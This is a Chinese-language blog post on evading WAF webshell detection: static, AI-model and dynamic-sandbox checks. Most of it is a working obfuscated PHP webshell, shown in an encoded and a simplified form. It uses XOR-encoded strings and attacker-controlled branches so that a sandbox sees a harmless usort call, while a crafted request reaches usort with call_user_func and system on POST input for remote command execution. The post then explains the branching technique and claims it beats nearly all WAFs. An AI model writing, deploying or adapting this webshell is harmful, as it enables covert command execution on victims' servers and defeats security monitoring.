- 背景介绍
- 目前需要解决的问题
- 绕过动态沙箱检测
- WEBSHELL
- 绕过思路
- 总结
Author: 颖奇L’Amore
Blog: www.gem-love.com
背景介绍▸
目前高级的智能WAF检测webshell会使用到以下三种技术:
- 静态检测
- AI检测
- 动态沙箱检测
根据我本人的个人理解,静态检测应该就是直接去看有没有eval
assert
这些危险函数,然后AI检测是根据大量webshell样本训练的模型然后来判断是不是WEBSHELL,动态沙箱检测则是通过去sandbox中执行该样本的代码来判断。
目前需要解决的问题▸
针对静态和AI检测,其实都很好绕过。包括网上有各种各样的WEBSHELL免杀,所有的所有的免杀WEBSHELL,最终都归结为一点:变形
。
其实我们可以发现,无论是怎么变,最后的最后想要执行命令执行代码,一定要调用函数,所以最后一定是一个函数(传的参数)
的形式,这个函数被动态调用,所以应该是这样的一个逻辑(比如最终我们调用system
执行系统命令):
<span class="hljs-variable">$f</span>各种变形变形变形...
<span class="hljs-variable">$f</span>各种变形变形变形...
<span class="hljs-variable">$f</span>各种变形变形变形...
<span class="hljs-variable">$f</span>各种变形变形变形...
变到最后,<span class="hljs-variable">$f</span>=<span class="hljs-string">'system'</span>
<span class="hljs-variable">$f</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-number">0</span>]); <span class="hljs-comment">// $_GET[0]是传的参</span>
传统的WAF检测webshell,各种变形就能Bypass了。包括这里的静态检测和AI检测,只要变形的足够混乱,就OK。
但是对于动态沙箱执行检测,可以完美防御攻击者的各种变形绕过,攻击者变形的再复杂,最后还是逃不过f(参数)这里来动态调用它,所以作为检测者,引擎根本不管你怎么变,你爱怎么变怎么变,我只要在f(参数)这句代码处“蹲守”(因为webshell最后一定是执行这样一句代码),然后检测一下这个
绕过动态沙箱检测▸
WEBSHELL▸
我的免杀SHELL:
代码语言:javascript复制<span class="hljs-meta"><?php</span>
<span class="hljs-variable">$_SERVER</span>;
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">d</span>(<span class="hljs-params"><span class="hljs-variable">$s</span></span>) </span>{
<span class="hljs-keyword">for</span>(<span class="hljs-variable">$i</span> = <span class="hljs-number">0</span>; <span class="hljs-variable">$i</span> < strlen(<span class="hljs-variable">$s</span>); <span class="hljs-variable">$i</span> ) {
<span class="hljs-variable">$s</span>[<span class="hljs-variable">$i</span>] = <span class="hljs-variable">$s</span>[<span class="hljs-variable">$i</span>] ^ chr(<span class="hljs-number">264</span> >> <span class="hljs-number">2</span>);
}
<span class="hljs-keyword">return</span> <span class="hljs-variable">$s</span>;
}
<span class="hljs-variable">$number</span> = intval(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'number'</span>]);
<span class="hljs-keyword">if</span>( <span class="hljs-variable">$number</span> <= intval(time()) - <span class="hljs-number">3600</span>*<span class="hljs-number">678</span> ) {
<span class="hljs-variable">$sv</span> = implode(<span class="hljs-string">''</span>,explode(chr(<span class="hljs-number">256</span>>><span class="hljs-number">2</span>)^chr(<span class="hljs-number">0x61</span>),d(urldecode(<span class="hljs-string">"ccccccccccccc"</span>))));
<span class="hljs-keyword">goto</span> ëëÞ›;
}
<span class="hljs-variable">$sv</span> = <span class="hljs-string">'nihao'</span>;
ëëÞ›:
<span class="hljs-keyword">if</span>( <span class="hljs-variable">$number</span> <= intval(time()) - <span class="hljs-number">3600</span>*<span class="hljs-number">678</span> ) {
<span class="hljs-variable">$arr</span> = explode(chr(<span class="hljs-number">152</span>>><span class="hljs-number">2</span>),explode(chr(<span class="hljs-number">252</span>>><span class="hljs-number">2</span>), ${<span class="hljs-variable">$sv</span>}[implode(<span class="hljs-string">''</span>,explode(chr(<span class="hljs-number">256</span>>><span class="hljs-number">2</span>)^chr(<span class="hljs-number">0x61</span>),d(urldecode(<span class="hljs-string">"ccccccccccccccccc"</span>))))])[<span class="hljs-number">1</span>]);
<span class="hljs-variable">$hahaha</span> = [implode(<span class="hljs-string">''</span>,explode(chr(<span class="hljs-number">256</span>>><span class="hljs-number">2</span>)^chr(<span class="hljs-number">0x61</span>),d(urldecode(<span class="hljs-string">'1c;c1c6c'c/c'</span>)))), <span class="hljs-variable">$_POST</span>[<span class="hljs-number">0</span>]];
<span class="hljs-keyword">if</span> (intval(phpversion()) == <span class="hljs-number">5</span>) <span class="hljs-variable">$hahaha</span> = array_reverse(<span class="hljs-variable">$hahaha</span>);
<span class="hljs-variable">$arr</span> = array_merge([<span class="hljs-variable">$hahaha</span>] , <span class="hljs-variable">$arr</span> );
<span class="hljs-keyword">goto</span> œâàü;
}
<span class="hljs-variable">$arr</span> = [<span class="hljs-string">'a'</span>, <span class="hljs-string">'b'</span>, <span class="hljs-string">'c'</span>];
œâàü:
<span class="hljs-keyword">for</span>(<span class="hljs-variable">$i</span>=<span class="hljs-number">1</span>;<span class="hljs-variable">$i</span><count(<span class="hljs-variable">$arr</span>); <span class="hljs-variable">$i</span> ){
<span class="hljs-variable">$arr</span>[<span class="hljs-variable">$i</span>] = implode(chr(<span class="hljs-number">244</span>>><span class="hljs-number">2</span>), array_slice(explode(chr(<span class="hljs-number">244</span>>><span class="hljs-number">2</span>), <span class="hljs-variable">$arr</span>[<span class="hljs-variable">$i</span>]), <span class="hljs-number">1</span>, count(explode(chr(<span class="hljs-number">244</span>>><span class="hljs-number">2</span>), <span class="hljs-variable">$arr</span>[<span class="hljs-variable">$i</span>]))));
}
<span class="hljs-variable">$f</span> = implode(<span class="hljs-string">''</span>,explode(chr(<span class="hljs-number">256</span>>><span class="hljs-number">2</span>)^chr(<span class="hljs-number">0x61</span>),d(<span class="hljs-string">'71-06'</span>)));
<span class="hljs-keyword">if</span>( <span class="hljs-literal">null</span> === <span class="hljs-variable">$f</span>(<span class="hljs-variable">$arr</span>[<span class="hljs-number">0</span>], <span class="hljs-variable">$arr</span>[<span class="hljs-number">1</span>]) ) {
<span class="hljs-keyword">echo</span> <span class="hljs-string">"ok!"</span>;
}
做了很多变形,简化后是这样:
代码语言:javascript复制<span class="hljs-meta"><?php</span>
<span class="hljs-variable">$_SERVER</span>;
<span class="hljs-variable">$number</span> = intval(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'number'</span>]);
<span class="hljs-keyword">if</span>( <span class="hljs-variable">$number</span> <= intval(time()) - <span class="hljs-number">3600</span>*<span class="hljs-number">678</span> ) {
<span class="hljs-variable">$sv</span> = <span class="hljs-string">'_SERVER'</span>;
<span class="hljs-keyword">goto</span> part2;
}
<span class="hljs-variable">$sv</span> = <span class="hljs-string">'nihao'</span>;
part2:
<span class="hljs-keyword">if</span>( <span class="hljs-variable">$number</span> <= intval(time()) - <span class="hljs-number">3600</span>*<span class="hljs-number">678</span> ) {
<span class="hljs-variable">$arr</span> = <span class="hljs-variable">$$sv</span>[<span class="hljs-string">'QUERY_STRING'</span>]; <span class="hljs-comment">// $arr = $_SERVER['QUERY_STRING']</span>
<span class="hljs-variable">$hahaha</span> = [<span class="hljs-string">'system'</span>, <span class="hljs-variable">$_POST</span>[<span class="hljs-number">0</span>]];
<span class="hljs-comment">// 这个if是说如果php是5版本 则$hahaha反转。因为是call_user_func的参数,php5认为数组最后一个元素为函数,php7以为第一个元素为函数。</span>
<span class="hljs-keyword">if</span> (intval(phpversion()) == <span class="hljs-number">5</span>)
<span class="hljs-variable">$hahaha</span> = array_reverse(<span class="hljs-variable">$hahaha</span>);
<span class="hljs-variable">$arr</span> = array_merge([<span class="hljs-variable">$hahaha</span>] , <span class="hljs-variable">$arr</span> );
<span class="hljs-keyword">goto</span> part3;
}
<span class="hljs-variable">$arr</span> = [<span class="hljs-string">'a'</span>, <span class="hljs-string">'b'</span>, <span class="hljs-string">'c'</span>];
part3:
<span class="hljs-keyword">for</span>(<span class="hljs-variable">$i</span>=<span class="hljs-number">1</span>;<span class="hljs-variable">$i</span><count(<span class="hljs-variable">$arr</span>); <span class="hljs-variable">$i</span> ){
<span class="hljs-comment">// 这句代码意思是 把QUERYSTRING中的参数进行操作 例如?a=1=1=2 实际上$_GET['a']是1=1=2 那么这里就是取出这个1=1=2</span>
<span class="hljs-variable">$arr</span>[<span class="hljs-variable">$i</span>] = implode(<span class="hljs-string">'='</span>, array_slice(explode(<span class="hljs-string">'='</span>, <span class="hljs-variable">$arr</span>[<span class="hljs-variable">$i</span>]), <span class="hljs-number">1</span>, count(explode(<span class="hljs-string">'='</span>, <span class="hljs-variable">$arr</span>[<span class="hljs-variable">$i</span>])))); <span class="hljs-comment">// 最后$arr[1]会通过get传参 传入一个call_user_func</span>
}
<span class="hljs-variable">$f</span> = <span class="hljs-string">'usort'</span>;
<span class="hljs-keyword">if</span>( <span class="hljs-literal">null</span> === <span class="hljs-variable">$f</span>(<span class="hljs-variable">$arr</span>[<span class="hljs-number">0</span>], <span class="hljs-variable">$arr</span>[<span class="hljs-number">1</span>]) ) {
<span class="hljs-keyword">echo</span> <span class="hljs-string">"ok!"</span>;
}
这里利用的是不常规的RCE方法,即usort
RCE。实际上就是这样的运行思路:
- 构造arr为[ ['system', _POST[0]] , 'call_user_func' ]
- 构造
$f='usort'
- f(arr)也就是usort([ ['system',
绕过思路▸
首先,这里做了好多字符串的变形,来回来去的编码、打散重组,这是为了绕过静态检测 AI检测
,这个变形有很多方法,我自己是写了一个d()
,还可以base64啥的,很多方法,不详细说了。
上面说了,对于动态沙箱执行检测,引擎只要去f处蹲守即可。那么为了绕过它,需要想办法影响这个f的值,让他能够有不同的结果,引擎执行时候f会返回一个正常值,而攻击者连接时候通过某些参数的控制,让f返回一个危险函数,这样就绕过了检测。
为此,我们需要在变形的逻辑中,加入一些人为控制的分支语句,例如我的样本中的这段代码:
简化后是这样的:
从这个简化代码可见,sv可能是_SERVER也可能是nihao,那么sv['QUERY_STRING']就有可能是_SERVER['QUERY_STRING']也有可能是
为了保险起见,这里我们应用这种手段两次:
反正最后就是执行usort(arr[0], arr[1]),如果人为的正确的控制了这个分支语句的运行,那么最后usort就可以得到正确的参数进行RCE。而默认情况下,WAF引擎虽然能够动态执行来检测变量的值,但是却不能正确的通过传参来控制选择分支程序,最后就运行了麻瓜代码(图中绿色框的代码) 执行了usort('a', 'b')这是无害的,于是WAF引擎就认为这是一个无害的normal文件了。
总结▸
本文总结了一种绕过WAF引擎动态执行检验的方法,即通过写多个分支语句(例如用if
),让最后执行的函数和参数具有多样性,一般情况下会执行正常无害的语句,而只有攻击者人为的通过传参等手段来控制分支的执行最后才能执行到危险函数。
基于此思路,其实可以写出各种各样的免杀webshell,比如上面用了usort
,等下可以换成e正则,或者换成system
函数之类的,分支的构造也是多种多样的(比如用可变数组或者变量覆盖),包括变形的手段也是如此,但核心的思想就是通过分支来bypass动态沙箱执行检测
。
我认为这应该是一个比较万能的方法,可以绕过市面上几乎所有的WAF。